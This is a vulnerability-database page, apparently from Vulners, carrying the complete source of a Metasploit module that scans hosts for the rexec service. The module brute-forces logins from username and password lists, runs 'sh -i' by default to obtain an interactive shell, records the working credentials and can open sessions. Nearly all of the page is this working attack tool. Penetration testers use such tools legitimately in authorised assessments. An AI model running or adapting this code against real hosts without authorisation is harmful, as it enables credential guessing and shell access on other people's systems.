Lucene search
+L

rexec Authentication Scanner

🗓️ 23 Nov 2010 01:23:24Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 64 Views

This module tests rexec service on a range of machines and reports successful logins. It requires access to bind to privileged port

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::CommandShell
  include Msf::Sessions::CreateSessionOptions
  include Msf::Auxiliary::ReportSummary

  def initialize
    super(
      'Name'        => 'rexec Authentication Scanner',
      'Description' => %q{
          This module will test an rexec service on a range of machines and
        report successful logins.

        NOTE: This module requires access to bind to privileged ports (below 1024).
      },
      'References' =>
        [
          [ 'CVE', '1999-0651' ],
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'Author'      => [ 'jduck' ],
      'License'     => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(512),
        OptBool.new('ENABLE_STDERR', [ true, 'Enables connecting the stderr port', false ]),
        OptInt.new( 'STDERR_PORT',   [ false, 'The port to listen on for stderr', nil ])
      ])
  end

  def run_host(ip)
    print_status("#{ip}:#{rport} - Starting rexec sweep")

    if datastore['ENABLE_STDERR']
      # For each host, bind a privileged listening port for the target to connect
      # back to.
      ret = listen_on_random_port(datastore['STDERR_PORT'])
      if not ret
        return :abort
      end
      sd, stderr_port = ret
    else
      sd = stderr_port = nil
    end

    # The maximum time for a host is set here.
    Timeout.timeout(300) {
      each_user_pass { |user, pass|
        do_login(user, pass, sd, stderr_port)
      }
    }

    sd.close if sd
  end


  def do_login(user, pass, sfd, stderr_port)
    vprint_status("#{target_host}:#{rport} - Attempting rexec with username:password '#{user}':'#{pass}'")

    cmd = datastore['CMD']
    cmd ||= 'sh -i 2>&1'

    # We must connect from a privileged port.
    return :abort if not connect

    sock.put("#{stderr_port}\x00#{user}\x00#{pass}\x00#{cmd}\x00")

    if sfd and stderr_port
      stderr_sock = sfd.accept
      add_socket(stderr_sock)
    else
      stderr_sock = nil
    end

    # NOTE: We report this here, since we are awfully convinced now that this is really
    # an rexec service.
    report_service(
      :host => rhost,
      :port => rport,
      :proto => 'tcp',
      :name => 'exec'
    )

    # Read the expected nul byte response.
    buf = sock.get_once(1) || ''
    if buf != "\x00"
      buf = sock.get_once(-1) || ""
      vprint_error("Result: #{buf.gsub(/[[:space:]]+/, ' ')}")
      return :failed
    end

    # should we report a vuln here? rexec allowed w/o password?!
    print_good("#{target_host}:#{rport}, rexec '#{user}' : '#{pass}'")
    start_rexec_session(rhost, rport, user, pass, buf, stderr_sock)

    return :next_user

  # For debugging only.
  #rescue ::Exception
  #  print_error("#{$!}")
  #return :abort

  ensure
    disconnect()

  end


  #
  # This is only needed by rexec so it is not in the rservices mixin
  #
  def listen_on_random_port(specific_port = 0)
    stderr_port = nil
    if specific_port > 0
      stderr_port = specific_port
      sd = listen_on_port(stderr_port)
    else
      stderr_port = 1024 + rand(0x10000 - 1024)
      512.times {
        sd = listen_on_port(stderr_port)
        break if sd
        stderr_port = 1024 + rand(0x10000 - 1024)
      }
    end

    if not sd
      print_error("Unable to bind to listener port")
      return false
    end

    add_socket(sd)
    print_status("Listening on port #{stderr_port}")
    [ sd, stderr_port ]
  end


  def listen_on_port(stderr_port)
    vprint_status("Trying to listen on port #{stderr_port} ..")
    sd = nil
    begin
      sd = Rex::Socket.create_tcp_server('LocalPort' => stderr_port)

    rescue Rex::BindFailed
      # Ignore and try again

    end

    sd
  end


  def start_rexec_session(host, port, user, pass, proof, stderr_sock)
    service_data = {
      address: host,
      port: port,
      service_name: 'exec',
      proof: proof,
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      username: user,
      # Save a reference to the socket so we don't GC prematurely
      stderr_sock: stderr_sock
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    if datastore['CreateSession']
      start_session(self, "rexec #{user}:#{pass} (#{host}:#{port})", login_data, false, self.sock)
      # Don't tie the life of this socket to the exploit
      self.sockets.delete(stderr_sock)
      self.sock = nil
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2024 10:02Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
EPSS0.53618
64